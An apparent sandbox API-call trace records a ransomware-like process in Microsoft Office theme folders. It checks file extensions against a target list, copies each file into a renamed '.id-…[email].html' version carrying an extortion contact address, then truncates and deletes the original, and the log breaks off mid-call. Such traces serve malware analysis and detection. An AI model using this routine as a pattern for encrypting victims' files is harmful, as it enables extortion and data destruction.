[0041.774] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0041.775] lstrlenW (lpString=".zip") returned 4 [0041.775] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.775] lstrlenW (lpString=".rar") returned 4 [0041.775] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.775] lstrlenW (lpString=".bz2") returned 4 [0041.775] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.775] lstrlenW (lpString=".7z") returned 3 [0041.775] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0041.775] lstrlenW (lpString=".dbf") returned 4 [0041.775] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0041.775] lstrlenW (lpString=".1cd") returned 4 [0041.775] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0041.775] lstrlenW (lpString=".jpg") returned 4 [0041.775] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0041.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0041.775] lstrlenW (lpString=".doc") returned 4 [0041.775] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.775] lstrlenW (lpString=".docx") returned 5 [0041.775] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.775] lstrlenW (lpString=".pdf") returned 4 [0041.775] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.775] lstrlenW (lpString=".xls") returned 4 [0041.775] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.775] lstrlenW (lpString=".xlsx") returned 5 [0041.775] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.775] lstrlenW (lpString=".ppt") returned 4 [0041.775] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0041.776] lstrlenW (lpString=".zip") returned 4 [0041.776] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.776] lstrlenW (lpString=".rar") returned 4 [0041.776] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.776] lstrlenW (lpString=".bz2") returned 4 [0041.776] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.776] lstrlenW (lpString=".7z") returned 3 [0041.776] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0041.776] lstrlenW (lpString=".dbf") returned 4 [0041.776] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0041.776] lstrlenW (lpString=".1cd") returned 4 [0041.776] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0041.776] lstrlenW (lpString=".jpg") returned 4 [0041.776] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.776] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0041.776] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.777] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=25234) returned 1 [0041.777] CloseHandle (hObject=0x1c4) returned 1 [0041.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0041.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.777] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.778] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.778] GetLastError () returned 0x0 [0041.778] ReadFile (in: hFile=0x1c4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x6292, lpOverlapped=0x0) returned 1 [0041.780] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x62a0, lpOverlapped=0x0) returned 1 [0041.781] ReadFile (in: hFile=0x1c4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.781] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.781] SetEndOfFile (hFile=0x204) returned 1 [0041.781] CloseHandle (hObject=0x204) returned 1 [0041.782] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.782] SetEndOfFile (hFile=0x1c4) returned 1 [0041.783] CloseHandle (hObject=0x1c4) returned 1 [0041.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0041.783] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1 [0041.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0041.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0041.784] lstrlenW (lpString=".doc") returned 4 [0041.784] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.784] lstrlenW (lpString=".docx") returned 5 [0041.784] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.784] lstrlenW (lpString=".pdf") returned 4 [0041.784] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.784] lstrlenW (lpString=".xls") returned 4 [0041.784] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.784] lstrlenW (lpString=".xlsx") returned 5 [0041.784] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.784] lstrlenW (lpString=".ppt") returned 4 [0041.784] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0041.784] lstrlenW (lpString=".zip") returned 4 [0041.784] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.784] lstrlenW (lpString=".rar") returned 4 [0041.784] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.784] lstrlenW (lpString=".bz2") returned 4 [0041.784] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.784] lstrlenW (lpString=".7z") returned 3 [0041.784] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0041.784] lstrlenW (lpString=".dbf") returned 4 [0041.784] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0041.784] lstrlenW (lpString=".1cd") returned 4 [0041.784] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0041.784] lstrlenW (lpString=".jpg") returned 4 [0041.784] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0041.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0041.785] lstrlenW (lpString=".doc") returned 4 [0041.785] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.785] lstrlenW (lpString=".docx") returned 5 [0041.785] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.785] lstrlenW (lpString=".pdf") returned 4 [0041.785] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.785] lstrlenW (lpString=".xls") returned 4 [0041.785] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.785] lstrlenW (lpString=".xlsx") returned 5 [0041.785] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.785] lstrlenW (lpString=".ppt") returned 4 [0041.785] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0041.785] lstrlenW (lpString=".zip") returned 4 [0041.785] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.785] lstrlenW (lpString=".rar") returned 4 [0041.785] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.785] lstrlenW (lpString=".bz2") returned 4 [0041.785] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.785] lstrlenW (lpString=".7z") returned 3 [0041.785] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0041.785] lstrlenW (lpString=".dbf") returned 4 [0041.785] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0041.785] lstrlenW (lpString=".1cd") returned 4 [0041.785] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0041.785] lstrlenW (lpString=".jpg") returned 4 [0041.785] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.786] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0041.786] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0042.677] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2985) returned 1 [0042.677] CloseHandle (hObject=0x1f0) returned 1 [0042.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0042.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0042.678] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.678] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0042.935] GetLastError () returned 0x0 [0042.935] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xba9, lpOverlapped=0x0) returned 1 [0043.159] WriteFile (in: hFile=0x210, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xbb0, lpOverlapped=0x0) returned 1 [0043.160] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.160] WriteFile (in: hFile=0x210, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.160] SetEndOfFile (hFile=0x210) returned 1 [0043.160] CloseHandle (hObject=0x210) returned 1 [0043.161] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.161] SetEndOfFile (hFile=0x1f0) returned 1 [0043.161] CloseHandle (hObject=0x1f0) returned 1 [0043.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.162] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1 [0043.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0043.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0043.162] lstrlenW (lpString=".doc") returned 4 [0043.162] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.162] lstrlenW (lpString=".docx") returned 5 [0043.162] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.162] lstrlenW (lpString=".pdf") returned 4 [0043.162] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.162] lstrlenW (lpString=".xls") returned 4 [0043.162] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.162] lstrlenW (lpString=".xlsx") returned 5 [0043.162] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.162] lstrlenW (lpString=".ppt") returned 4 [0043.162] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0043.162] lstrlenW (lpString=".zip") returned 4 [0043.162] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.162] lstrlenW (lpString=".rar") returned 4 [0043.162] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.162] lstrlenW (lpString=".bz2") returned 4 [0043.162] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.162] lstrlenW (lpString=".7z") returned 3 [0043.162] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0043.163] lstrlenW (lpString=".dbf") returned 4 [0043.163] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0043.163] lstrlenW (lpString=".1cd") returned 4 [0043.163] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0043.163] lstrlenW (lpString=".jpg") returned 4 [0043.163] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0043.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0043.163] lstrlenW (lpString=".doc") returned 4 [0043.163] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.163] lstrlenW (lpString=".docx") returned 5 [0043.163] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.163] lstrlenW (lpString=".pdf") returned 4 [0043.163] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.163] lstrlenW (lpString=".xls") returned 4 [0043.163] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.163] lstrlenW (lpString=".xlsx") returned 5 [0043.163] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.163] lstrlenW (lpString=".ppt") returned 4 [0043.163] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0043.163] lstrlenW (lpString=".zip") returned 4 [0043.163] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.163] lstrlenW (lpString=".rar") returned 4 [0043.163] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.163] lstrlenW (lpString=".bz2") returned 4 [0043.163] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.163] lstrlenW (lpString=".7z") returned 3 [0043.163] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0043.164] lstrlenW (lpString=".dbf") returned 4 [0043.164] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0043.164] lstrlenW (lpString=".1cd") returned 4 [0043.164] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0043.164] lstrlenW (lpString=".jpg") returned 4 [0043.164] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.164] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0043.164] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.164] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=945) returned 1 [0043.164] CloseHandle (hObject=0x1f0) returned 1 [0043.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0043.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.165] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.165] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0043.420] GetLastError () returned 0x0 [0043.420] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x3b1, lpOverlapped=0x0) returned 1 [0043.427] WriteFile (in: hFile=0x170, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x3c0, lpOverlapped=0x0) returned 1 [0043.428] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.428] WriteFile (in: hFile=0x170, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.428] SetEndOfFile (hFile=0x170) returned 1 [0043.428] CloseHandle (hObject=0x170) returned 1 [0043.428] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.428] SetEndOfFile (hFile=0x1f0) returned 1 [0043.429] CloseHandle (hObject=0x1f0) returned 1 [0043.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.429] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0043.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0043.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0043.429] lstrlenW (lpString=".doc") returned 4 [0043.429] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.429] lstrlenW (lpString=".docx") returned 5 [0043.430] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.430] lstrlenW (lpString=".pdf") returned 4 [0043.430] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.430] lstrlenW (lpString=".xls") returned 4 [0043.430] lstrcmpiW 